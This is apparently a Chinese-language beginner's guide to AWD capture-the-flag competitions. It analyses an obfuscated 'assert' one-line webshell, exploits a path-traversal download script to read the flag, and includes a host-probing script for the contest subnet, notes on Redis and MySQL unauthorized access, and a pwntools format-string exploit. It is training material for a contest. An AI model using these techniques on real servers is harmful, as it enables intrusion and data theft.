目录
1、注意事项
2、xshell连接与html目录下载
3、D盾与河马的使用(文件扫描)
4、Seay的使用(代码审计)
5、爆破对手的IP地址
6、其他
(1)mysql远程访问漏洞
(2)Redis未授权访问漏洞
(3)pwn漏洞
# 比赛开始前由队长将每个队员的ip添加进白名单
# 比赛开始后有30分钟进行加固修复,此时是无法获取对手ip的
# AWD比赛会对一些工具进行限制或者禁止使用,具体看比赛规则
# 该比赛是3个人一队,一般分配为漏洞修补(防守)、代码审计(挖洞)、漏洞利用(攻击)
拿到账号密码后使用xshell连接
输入主机IP和端口号
进行用户身份验证
输入给的用户名和密码
连接成功后,切换到html目录
将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)
将目录扔给D盾和河马进行扫描查杀
./hm scan html
# 先切换到河马所在目录,同时将我们下载的html目录也移动到河马所在目录,更方便扫描
# ./表示执行,这里可以使用scan也可以使用deepscan进行深度扫描,后面接需要扫描的目录
查看扫描结果,这里D盾和河马都检测出了两个后门文件
我们可以查看一下详细的文件 config.php
分析:
1. `$poc` 变量包含了字符串 "a#s#s#e#r#t"。
2. 使用 `explode("#", $poc)` 函数将字符串分割成数组 `$poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t"。
3. 然后,将数组 `$poc_1` 的元素连接起来,形成字符串 `$poc_2`,其值为 "assert"。
4. 最后,代码执行了 `$poc_2($_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行。
我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码。
说白了这就是一个一句话木马
我们根据下载的html目录,找到config.php所在的路径
成功拿到flag
我们不光要进行攻击,还需要修复,直接删掉自己网站的config.php
在ip.php和info.php上面并未发现什么漏洞,当然不放心的话也可以删掉
将目录放进Seay进行源代码审计(这个工作应该和扫描是同时进行的,我这里只是分开讲而已)
查看文件详情 word.php
这段PHP代码主要用于文件下载:
1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。
2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。
3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。
4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。
5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。
6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。
7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。
8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。
允许用户通过GET请求下载服务器上的文件,如果文件存在的话。
脚本word.php位于api目录下,以get的方式请求参数src
我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击
这个也叫任意文件读取漏洞
攻击成功
这个只能在比赛开始30分钟后才可以爆破出来
可以自己设置一个爆破的范围,url里面的东西根据比赛的实际情况稍作修改即可
爆破结果会存在host.txt里面
下面附上脚本:
import requests
from concurrent.futures import ThreadPoolExecutor
import re
f = open("host.txt", "w")
def get_ip(url):
resp = requests.get(url)
status = resp.status_code
if status == 200:
f.write(url + "\n")
print(url)
url = []
for i in range(1, 255):
url.append("http://192-168-1-" + str(i) + ".pvp2932.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
executor.map(get_ip, url)
通过目录下的dbconfig.php我们可以得到数据库信息:
账号为cms 密码也为cms(3306是mysql数据库的默认端口号)
感兴趣的可以自己去了解下相关的东西,但是我这里并没有连接成功
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
由于我也是刚接触这个,对于Redis指令也不熟悉,各位可以找其他相关文章看
想利用这个漏洞需要先装一个工具redis-cli
后面发现连接redis数据库可以不用安装redis-cli,使用telnet也是可以的
pwn我也不怎么会,只会做做简单的栈溢出,这个也只能靠大家自己去了解学习了
下面是wp给的exp脚本(可能有问题):
from pwn import *
context.terminal = ['termite', '-e']
#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')
p = process('./echoasaservice')
p.recvline()
payload = bytearray()
payload += "%8$lx.%9$lx.%10$lx".encode()
p.sendline(payload)
flag = p.recvline().decode('utf-8').rstrip()
split = flag.split('.')
endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])
print(bytearray.fromhex(endian).decode())
关于AWD的介绍到此为止,由于本人技术知识有限,很多东西也没有能力给大家演示,只能靠大家自学,不过还是希望看完这篇文章,可以帮助大家了解和入门AWD的基本流程。
后面会继续给大家分享网络安全和CTF相关的知识内容
我是Myon,喜欢的可以关注点赞支持一下,谢谢大家!